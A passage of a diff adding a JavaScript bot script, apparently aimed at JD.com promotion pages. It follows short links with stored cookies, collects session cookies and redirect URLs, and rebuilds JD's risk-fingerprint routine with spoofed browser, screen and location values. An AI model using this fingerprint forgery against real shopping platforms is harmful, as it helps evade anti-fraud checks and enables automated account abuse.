+ } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +async function getInfo2(urlID) { + return new Promise((resolve) => { + const options = { + url: $.url1, + followRedirect: false, + headers: { + Cookie: `${cookie} ${$.newCookie}`, + "user-agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + let setcookies = (resp && resp["headers"] && (resp["headers"]["set-cookie"] || resp["headers"]["Set-Cookie"] || "")) || ""; + let setcookie = ""; + if (setcookies) { + if (typeof setcookies != "object") { + setcookie = setcookies.split(","); + } else setcookie = setcookies; + for (let ck of setcookie) { + let name = ck.split(";")[0].trim(); + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) + $.newCookie += name.replace(/ /g, "") + "; "; + } + } + } + $.url2 = (resp && resp["headers"] && (resp["headers"]["location"] || resp["headers"]["Location"] || "")) || ""; + $.url2 = decodeURIComponent($.url2); + switch (urlID) { + case 'prodev': + $.url2 = ($.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1]) || ""; + break; + case 'pro': + $.url2 = ($.url2.match(/(https:\/\/pro\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/pro\.m\.jd\.com\/mall[^'"]+)/)[1]) || ""; + break; + default: + break; + } + // console.log($.url2) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +async function getInfo1(cookie) { + return new Promise((resolve) => { + const options = { + url: `https://u.jd.com/${$.code}`, + followRedirect: false, + headers: { + Cookie: cookie, + "user-agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + let setcookies = (resp && resp["headers"] && (resp["headers"]["set-cookie"] || resp["headers"]["Set-Cookie"] || "")) || ""; + let setcookie = ""; + if (setcookies) { + if (typeof setcookies != "object") { + setcookie = setcookies.split(","); + } else setcookie = setcookies; + for (let ck of setcookie) { + let name = ck.split(";")[0].trim(); + if (name.split("=")[1]) { + if ($.newCookie.indexOf(name.split("=")[1]) == -1) + $.newCookie += name.replace(/ /g, "") + "; "; + } + } + } + $.url1 = (data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1]) || ""; + // console.log($.url1) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +const navigator = { + userAgent: $.isNode() ? require("./USER_AGENTS").USER_AGENT : $.UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, +}; +const window = {}; +const document = { + location: { + ancestorOrigins: {}, + href: "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + origin: "https://prodev.m.jd.com", + protocol: "https:", + host: "prodev.m.jd.com", + hostname: "prodev.m.jd.com", + port: "", + pathname: "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + search: "", + hash: "", + }, +}; +var start_time = new Date().getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + +function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) + b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32; + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(((a + 64) >>> 9) << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B); + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) + a += + "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8 + 4)) & 15) + + "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8)) & 15); + return a; +} + +function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A((a << h) | (a >>> (32 - h)), c); +} + +function v(a, b, c, l, h, q, z) { + return u((b & c) | (~b & l), a, b, h, q, z); +} + +function x(a, b, c, l, h, q, z) { + return u((b & l) | (c & ~l), a, b, h, q, z); +} + +function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z); +} + +function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (c & 65535); +} + +_fingerprint_step = 2; +var y = "", + n = navigator.userAgent.toLowerCase(); +n.indexOf("jdapp") && (n = n.substring(0, 90)); +var e = navigator.language, + f = n; +-1 != f.indexOf("ipad") || + -1 != f.indexOf("iphone os") || + -1 != f.indexOf("midp") || + -1 != f.indexOf("rv:1.2.3.4") || + -1 != f.indexOf("ucweb") || + -1 != f.indexOf("android") || + -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); +var r = "NA", + k = "NA"; +try { + -1 != f.indexOf("win") && + -1 != f.indexOf("95") && + ((r = "windows"), (k = "95")), + -1 != f.indexOf("win") && + -1 != f.indexOf("98") && + ((r = "windows"), (k = "98")), + -1 != f.indexOf("win 9x") && + -1 != f.indexOf("4.90") && + ((r = "windows"), (k = "me")), + -1 != f.indexOf("win") && + -1 != f.indexOf("nt 5.0") && + ((r = "windows"), (k = "2000")), + -1 != f.indexOf("win") && + -1 != f.indexOf("nt") && + ((r = "windows"), (k = "NT")), + -1 != f.indexOf("win") && + -1 != f.indexOf("nt 5.1") && + ((r = "windows"), (k = "xp")), + -1 != f.indexOf("win") && + -1 != f.indexOf("32") && + ((r = "windows"), (k = "32")), + -1 != f.indexOf("win") && + -1 != f.indexOf("nt 5.1") && + ((r = "windows"), (k = "7")), + -1 != f.indexOf("win") && + -1 != f.indexOf("6.0") && + ((r = "windows"), (k = "8")), + -1 == f.indexOf("win") || + (-1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1")) || + ((r = "windows"), (k = "9")), + -1 != f.indexOf("win") && + -1 != f.indexOf("nt 6.2") && + ((r = "windows"), (k = "10")), + -1 != f.indexOf("linux") && (r = "linux"), + -1 != f.indexOf("unix") && (r = "unix"), + -1 != f.indexOf("sun") && -1 != f.indexOf("os") && (r = "sun os"), + -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), + -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), + -1 != f.indexOf("hpux") && (r = "hpux"), + -1 != f.indexOf("netbsd") && (r = "NetBSD"), + -1 != f.indexOf("bsd") && (r = "BSD"), + -1 != f.indexOf("osf1") && (r = "OSF1"), + -1 != f.indexOf("irix") && ((r = "IRIX"), (k = "")), + -1 != f.indexOf("freebsd") && (r = "FreeBSD"), + -1 != f.indexOf("symbianos") && + ((r = "SymbianOS"), (k = f.substring(f.indexOf("SymbianOS/") + 10, 3))); +} catch (a) {} +_fingerprint_step = 3; +var g = "NA", + m = "NA"; +try { + -1 != f.indexOf("msie") && + ((g = "ie"), + (m = f.substring(f.indexOf("msie ") + 5)), + m.indexOf(";") && (m = m.substring(0, m.indexOf(";")))); + -1 != f.indexOf("firefox") && + ((g = "Firefox"), (m = f.substring(f.indexOf("firefox/") + 8))); + -1 != f.indexOf("opera") && + ((g = "Opera"), (m = f.substring(f.indexOf("opera/") + 6, 4))); + -1 != f.indexOf("safari") && + ((g = "safari"), (m = f.substring(f.indexOf("safari/") + 7))); + -1 != f.indexOf("chrome") && + ((g = "chrome"), + (m = f.substring(f.indexOf("chrome/") + 7)), + m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); + -1 != f.indexOf("navigator") && + ((g = "navigator"), (m = f.substring(f.indexOf("navigator/") + 10))); + -1 != f.indexOf("applewebkit") && + ((g = "applewebkit_chrome"), + (m = f.substring(f.indexOf("applewebkit/") + 12)), + m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); + -1 != f.indexOf("sogoumobilebrowser") && + (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) + g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) + g = "QQ\u6d4f\u89c8\u5668"; + -1 != f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); + -1 != f.indexOf("360se") && (g = "360\u6d4f\u89c8\u5668"); + -1 != f.indexOf("the world") && + (g = "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); + -1 != f.indexOf("maxthon") && (g = "\u9068\u6e38\u6d4f\u89c8\u5668"); +} catch (a) {} + +class JdJrTdRiskFinger { + f = { + options: function () { + return {}; + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b; + }, + getData: function () { + return y; + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b + ? (c.push(n), + c.push(e), + (y = y + ",'userAgent':'" + t(n) + "','language':'" + e + "'"), + this.browserRedirect(n)) + : ((c = this.userAgentKey(c)), (c = this.languageKey(c))); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = + y + + ",'os':'" + + r + + "','osVersion':'" + + k + + "','browser':'" + + g + + "','browserVersion':'" + + m + + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b); + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), + (y = y + ",'userAgent':'" + t(navigator.userAgent) + "'"), + this.browserRedirect(navigator.userAgent); + return a; + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b); ) a = a.replace(b, c); + return a; + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = + a || c || l || h || q || z || C || b + ? y + ",'origin':'mobile'" + : y + ",'origin':'pc'"; + }, + languageKey: function (a) { + "" || + (a.push(navigator.language), + (y = + y + + ",'language':'" + + this.replaceAll(navigator.language, " ", "_") + + "'")); + return a; + }, + colorDepthKey: function (a) { + "" || + (a.push(screen.colorDepth), + (y = y + ",'colorDepth':'" + screen.colorDepth + "'")); + return a; + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && + (a.push(b.join("x")), + (y = y + ",'screenResolution':'" + b.join("x") + "'")); + } + return a; + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation + ? screen.height > screen.width + ? [screen.height, screen.width] + : [screen.width, screen.height] + : [screen.height, screen.width]; + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || + (a.push(new Date().getTimezoneOffset()), + (y = + y + + ",'timezoneOffset':'" + + new Date().getTimezoneOffset() / 60 + + "'")); + return a; + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && + this.hasSessionStorage() && + (a.push("sessionStorageKey"), (y += ",'sessionStorage':true")); + return a; + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && + this.hasLocalStorage() && + (a.push("localStorageKey"), (y += ",'localStorage':true")); + return a; + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && + this.hasIndexedDB() && + (a.push("indexedDbKey"), (y += ",'indexedDb':true")); + return a; + }, + addBehaviorKey: function (a) { + document.body && + !this.options.excludeAddBehavior && + document.body.addBehavior + ? (a.push("addBehaviorKey"), (y += ",'addBehavior':true")) + : (y += ",'addBehavior':false"); + return a; + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase + ? (a.push("openDatabase"), (y += ",'openDatabase':true")) + : (y += ",'openDatabase':false"); + return a; + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || + (a.push(this.getNavigatorCpuClass()), + (y = y + ",'cpu':'" + this.getNavigatorCpuClass() + "'")); + return a; + }, + platformKey: function (a) { + this.options.excludePlatform || + (a.push(this.getNavigatorPlatform()), + (y = y + ",'platform':'" + this.getNavigatorPlatform() + "'")); + return a; + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a; + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || + (a.push(this.getDoNotTrack()), + (y = y + ",'track':'" + this.getDoNotTrack() + "'")); + return a; + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'"; + } + return a; + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'"; + } + return a; + }, + pluginsKey: function (a) { + this.isIE() + ? (a.push(this.getIEPluginsString()), + (y = y + ",'plugins':'" + t(this.getIEPluginsString()) + "'")) + : (a.push(this.getRegularPluginsString()), + (y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + "'")); + return a; + }, + getRegularPluginsString: function () { + return this.map( + navigator.plugins, + function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~"); + }).join(","); + return [a.name, a.description, b].join("::"); + }, + this + ).join(";"); + }, + getIEPluginsString: function () { + return window.ActiveXObject + ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split( + ";" + ), + function (a) { + try { + return new ActiveXObject(a), a; + } catch (b) { + return null; + } + } + ).join(";") + : ""; + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage; + } catch (a) { + return !0; + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage; + } catch (a) { + return !0; + } + }, + hasIndexedDB: function () { + return true; + return !!window.indexedDB; + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA"; + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA"; + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency + ? navigator.hardwareConcurrency + : "NA"; + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA"; + }, + getCanvasFp: function () { + return ""; + var a = navigator.userAgent.toLowerCase(); + if ( + (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && + (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) + ) + return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL(); + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ( + (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && + (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) + ) + return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]"; + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([ + -0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0, + ]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource( + q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource( + z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push( + "w8" + + (function (D) { + var B, + F = + D.getExtension("EXT_texture_filter_anisotropic") || + D.getExtension("WEBKIT_EXT_texture_filter_anisotropic") || + D.getExtension("MOZ_EXT_texture_filter_anisotropic"); + return F + ? ((B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT)), + 0 === B && (B = 2), + B) + : null; + })(b) + ); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && + (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), + c.push("wur:" + b.getParameter(C.UNMASKED_RENDERER_WEBGL))); + } catch (D) {} + return c.join("\u00a7"); + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")); + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || + ("Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent)) + ? !0 + : !1; + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + ((0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && + (0 < c.indexOf("iphone") || 0 < c.indexOf("ipad"))) || + (b = a.getContext("webgl") || a.getContext("experimental-webgl")); + } catch (l) {} + b || (b = null); + return b; + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) + a.forEach(b, c); + else if (a.length === +a.length) + for ( + var l = 0, h = a.length; + l < h && b.call(c, a[l], l, a) !== {}; + l++ + ); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break; + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z); + }); + return l; + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) + return [ + (a[0] << b) | (a[1] >>> (32 - b)), + (a[1] << b) | (a[0] >>> (32 - b)), + ]; + b -= 32; + return [ + (a[1] << b) | (a[0] >>> (32 - b)), + (a[0] << b) | (a[1] >>> (32 - b)), + ]; + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b + ? a + : 32 > b + ? [(a[0] << b) | (a[1] >>> (32 - b)), a[1] << b] + : [a[1] << (b - 32), 0]; + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]]; + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return (a = this.x64Xor(a, [0, a[0] >>> 1])); + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for ( + var q, + z, + C = [2277735313, 289559509], + D = [1291169091, 658871167], + B = 0; + B < l; + B += 16 + ) + (q = [ + (a.charCodeAt(B + 4) & 255) | + ((a.charCodeAt(B + 5) & 255) << 8) | + ((a.charCodeAt(B + 6) & 255) << 16) | + ((a.charCodeAt(B + 7) & 255) << 24), + (a.charCodeAt(B) & 255) | + ((a.charCodeAt(B + 1) & 255) << 8) | + ((a.charCodeAt(B + 2) & 255) << 16) | + ((a.charCodeAt(B + 3) & 255) << 24), + ]), + (z = [ + (a.charCodeAt(B + 12) & 255) | + ((a.charCodeAt(B + 13) & 255) << 8) | + ((a.charCodeAt(B + 14) & 255) << 16) | + ((a.charCodeAt(B + 15) & 255) << 24), + (a.charCodeAt(B + 8) & 255) | + ((a.charCodeAt(B + 9) & 255) << 8) | + ((a.charCodeAt(B + 10) & 255) << 16) 